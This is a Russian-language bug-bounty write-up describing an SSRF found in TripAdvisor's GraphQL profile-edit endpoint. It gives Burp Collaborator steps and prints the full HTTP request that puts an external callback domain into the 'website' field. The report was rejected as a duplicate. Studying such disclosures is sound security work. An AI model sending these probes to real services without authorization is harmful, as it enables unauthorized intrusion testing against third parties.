Сломанный контроль доступа (BAC) ›Подделка серверных запросов (SSRF)
Что такое ССРФ ?!
Подделка запросов на стороне сервера (SSRF) - это эксплойт, используемый для атаки на внутренние системы за брандмауэрами, недоступные из внешних сетей. SSRF предназначен для доступа к внутренним службам, таким как SSH, Local-Host, FTP и другим. Сценарий SSRF будет заключаться в том, чтобы заставить сервер установить соединение только с внутренними сервисами в инфраструктуре организации.
Вступление:
Тестируя TripAdvisor на наличие уязвимостей и ошибок, я обнаружил, что он уязвим для SSRF. Я обнаружил эту уязвимость с помощью функции Collaborator Burp Suite. Что такое Burp Collaborator? Burp Collaborator - это сетевая служба, которую Burp Suite использует для обнаружения многих видов уязвимостей. Например. Некоторые уязвимости, связанные с внедрением, могут быть обнаружены с помощью полезных нагрузок, которые запускают взаимодействие с внешней системой при успешном внедрении.
Вот как я это сделал:
- Откройте Burp Suite ›Меню Burp› Клиент Burp Collaborator и выберите «Клиент Burp Collaborator»
- Щелкните там, где написано «Копировать в буфер обмена», это скопирует полезную нагрузку, необходимую для использования веб-приложения, например: `jhggfwo94wu094ctrtrstwrvterwt0tvwg.burpcollaborator.net`
3. Вставьте полезные данные клиента Collaborator в поле веб-сайта, как показано ниже, и отправьте запрос.
4. Используйте функцию «Опрос сейчас», чтобы получить подробную информацию о любых сетевых взаимодействиях, связанных с полезной нагрузкой.
5. Ждал волшебства.
Запрос Http:
POST /data/graphql/batched HTTP/1.1 Host: www.tripadvisor.com User-Agent: Mozilla/5.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate content-type: application/json Origin: https://www.tripadvisor.com Content-Length: 1520 Connection: close [{"operationName":"EditProfile","variables":{"userId":"9A9A11C7013E070C233A82C19CC97D78","displayName":null,"username":null,"bio":null,"hometown":null,"website":"e3i57wj14co4lyphm5kwqx8xjoped3.burpcollaborator.net","acceptedToU":true}]
Ответ Http:
RESPONSE HTTP/1.1 200 OK Server: Apache Pragma: no-cache P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT DSP COR CAO PSA IDC ADM DEVi TAIi PSD IVAi IVDi CONi HIS CNT" Cache-Control: no-cache, no-store, must-revalidate Timing-Allow-Origin: https://www.tripadvisor.com Vary: Accept-Encoding Content-Length: 2089 Content-Type: application/json Date: Mon, 21 Sep 2020 17:54:47 GMT Connection: close [{"data":{"updateMemberProfile":{"statuses":["OK"],"memberProfile":{"userId":"9A9A11C70C97D78","avatar":{"id":********,"photoSizes":[{"url":"https://dynamic-media-cdn.tripadvisor.com/media/photo-o/1a/f6/e7/99/default-avatar-2020-57.jpg?w=100&h=100&s=1","width":0,"height":0,"__typename":"PhotoSize"},{"url":"https://media-cdn.tripadvisor.com/media/photo-t/99/default-avatar-2021-75.jpg"}]
Ответ соавтора:
Отчет:
А вот и самая интересная часть этой статьи.
Как только я увидел эти журналы, я сказал себе: «Да, я богат!». Ну ладно, не совсем. Прочитав их ответ, вы поймете, что я слишком рано обрадовался. Кто-то еще несколько лет назад прислал такой же отчет. Их ответ застал меня врасплох, потому что это была нелегкая находка. Эксплойт стал возможен только при тщательном изучении каждого отдельного ответа / запроса от веб-приложения, чтобы найти поле для добавления вашей полезной нагрузки и надеяться на ответ.
Награда:
Глядя на фото выше, вы можете увидеть результат этого отчета. Честно говоря, получение 1 балла в качестве «награды» не было тем, к чему я стремился, когда отправлял этот отчет. Но что-то лучше, чем ничего, не так ли ?!
Резюме
Хоть я и не получал никаких наград за свою работу, но из этого получилось что-то хорошее - опыт. Теперь я знаю, какие конечные точки использовать и для чего. Никогда не позволяйте такому исходу обескураживать вас. Дубликаты означают, что вы сделали что-то ценное, вы сделали это за кем-то другим, но вы сделали это.